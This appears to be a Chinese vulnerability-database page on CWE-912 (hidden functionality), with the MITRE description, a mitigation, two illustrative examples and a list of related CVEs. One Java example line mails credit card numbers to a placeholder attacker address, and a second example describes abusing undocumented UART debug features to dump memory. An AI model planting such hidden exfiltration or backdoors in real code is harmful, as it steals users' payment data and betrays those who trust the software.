目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1336 元

100%
请我们喝杯咖啡

CWE-912 隐藏功能 类漏洞列表 73

CWE-912 隐藏功能 类弱点 73 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-912 指隐藏功能漏洞，即软件包含未文档化、非规范且不易察觉的功能。攻击者常利用这些隐蔽入口执行未授权操作或植入恶意代码。开发者应通过严格的代码审查、最小权限原则及自动化测试，确保所有功能均符合设计规范并公开透明，从而消除潜在的安全隐患。

MITRE CWE 官方描述
CWE：CWE-912 Hidden Functionality（隐藏功能） 英文：该产品包含未记录、不属于规范一部分，且无法通过产品用户或管理员显而易见的接口或命令序列访问的功能。 Hidden Functionality（隐藏功能）可以采取多种形式，例如故意恶意的代码、包含游戏等额外功能的“Easter Eggs”（彩蛋）、为降低维护或支持成本而设计的开发者友好型快捷方式（如硬编码账户）等。从安全角度来看，即使该功能并非故意恶意或具有破坏性，它仍会增加产品的攻击面（attack surface），并暴露出超出预期功能所暴露的额外弱点。即使其不易访问，Hidden Functionality（隐藏功能）仍可能被用于修改应用程序控制流的攻击中。
常见影响 (1)
Other, Integrity Varies by Context, Alter Execution Logic
缓解措施 (1)
Installation Always verify the integrity of the product that is being installed.
代码示例 (2)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.
Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.
Bad · Other
CVE ID 标题 CVSS 风险等级 Published
CVE-2017-20084 JUNG Smart Visu Server 安全漏洞 — Smart Visu Server 5.3 Medium 2022-06-22
CVE-2017-20083 JUNG Smart Visu Server 安全漏洞 — Smart Visu Server 5.3 Medium 2022-06-22
CVE-2017-20082 JUNG Smart Visu Server 安全漏洞 — Smart Visu Server 5.5 Medium 2022-06-22
CVE-2021-4229 ua-parser-js 安全漏洞 — ua-parser-js 5.0 Medium 2022-05-24
CVE-2021-24867 WordPress plugin AccessPress 安全漏洞 — Frontend Post WordPress Plugin – AccessPress Anonymous Post 9.4 - 2022-02-21
CVE-2021-43987 mySCADA myPRO 安全漏洞 — myPRO 9.8 Critical 2021-12-23
CVE-2020-28593 amazon COSORI Smart 安全漏洞 — Cosori 8.1 - 2021-04-15
CVE-2021-25371 Samsung SMR 安全漏洞 — Samsung Mobile Devices 6.1 Medium 2021-03-26
CVE-2020-3352 Cisco Firepower Threat Defense (FTD) 安全漏洞 — Cisco Firepower Threat Defense Software 5.5 - 2020-10-21
CVE-2020-12504 RocketLinx 安全漏洞 — P+F Comtrol RocketLinx 9.8 Critical 2020-10-15
CVE-2020-16204 Red Lion N-Tron 安全漏洞 — N-Tron 702-W / 702M12-W 9.8 - 2020-09-01
CVE-2020-14487 OpenClinic GA 安全漏洞 — OpenClinic GA 9.4 Critical 2020-07-29
CVE-2018-17919 Xiongmai XMeye P2P Cloud Server 安全漏洞 — XMeye P2P Cloud Server 8.2 - 2018-10-10

CWE-912（隐藏功能） 是常见的弱点类别，本平台收录该类弱点关联的 73 条 CVE 漏洞。